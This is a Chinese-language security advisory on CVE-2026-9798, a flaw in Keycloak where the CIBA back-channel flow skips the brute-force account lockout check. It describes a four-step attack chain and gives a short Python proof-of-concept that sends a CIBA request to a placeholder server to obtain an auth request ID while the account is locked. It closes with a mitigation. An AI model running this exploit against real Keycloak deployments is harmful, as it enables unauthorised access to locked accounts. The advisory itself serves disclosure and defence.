IPBUF安全漏洞报告
English
CVE-2026-9798 CVSS 4.3 中危

CVE-2026-9798 Keycloak暴力破解防护绕过漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9798
漏洞类型
认证绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Keycloak

相关标签

认证绕过KeycloakCIBA逻辑漏洞

漏洞概述

Keycloak开源身份和访问管理解决方案存在缺陷。当用户账户因多次登录失败被锁定时,攻击者可利用有效的客户端凭据,通过客户端发起的反向通道认证(CIBA)流程绕过暴力破解保护机制,继续进行认证尝试并获取令牌,增加了未授权访问的风险。

技术细节

该漏洞源于Keycloak在处理CIBA流程时的逻辑缺陷。常规情况下,账户因暴力破解被锁定后应禁止登录。然而,CIBA流程未正确校验账户的锁定状态。攻击者只需拥有有效的客户端凭据,即可在账户锁定期间发起CIBA请求。服务端在处理该请求时忽略了锁定标志,导致认证请求被正常处理,从而绕过了针对用户账户的防暴力破解限制,实现了令牌的非法获取。

攻击链分析

STEP 1
1. 暴力破解锁定
攻击者通过多次登录失败尝试,触发Keycloak的防御机制,导致目标用户账户被暂时锁定。
STEP 2
2. 发起CIBA请求
攻击者利用获取到的有效客户端凭据,向Keycloak的CIBA端点发送反向通道认证请求。
STEP 3
3. 绕过状态检查
Keycloak后端在处理CIBA请求时,未正确检查账户的锁定状态,接受了该认证请求。
STEP 4
4. 获取令牌
系统返回认证请求ID或直接签发令牌,攻击者成功在账户锁定状态下完成认证,绕过防护。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://keycloak.example.com" realm = "master" client_id = "vulnerable_client" client_secret = "client_secret_value" login_hint = "[email protected]" # The CIBA endpoint that may bypass the lock check url = f"{target_url}/realms/{realm}/protocol/openid-connect/bc-authorize" payload = { "client_id": client_id, "client_secret": client_secret, "login_hint": login_hint, "scope": "openid", "binding_message": "Test" } # Send request to bypass brute-force protection r = requests.post(url, data=payload) if r.status_code == 200: print("[+] Exploit successful: Protection bypassed.") print("[+] Auth Req ID:", r.json().get("auth_req_id")) else: print("[-] Failed.")

影响范围

Keycloak (具体受影响版本请参考供应商安全公告)

防御指南

临时缓解措施
建议暂时禁用CIBA流程,并严格审查和轮换现有的客户端凭据,同时监控异常的认证日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表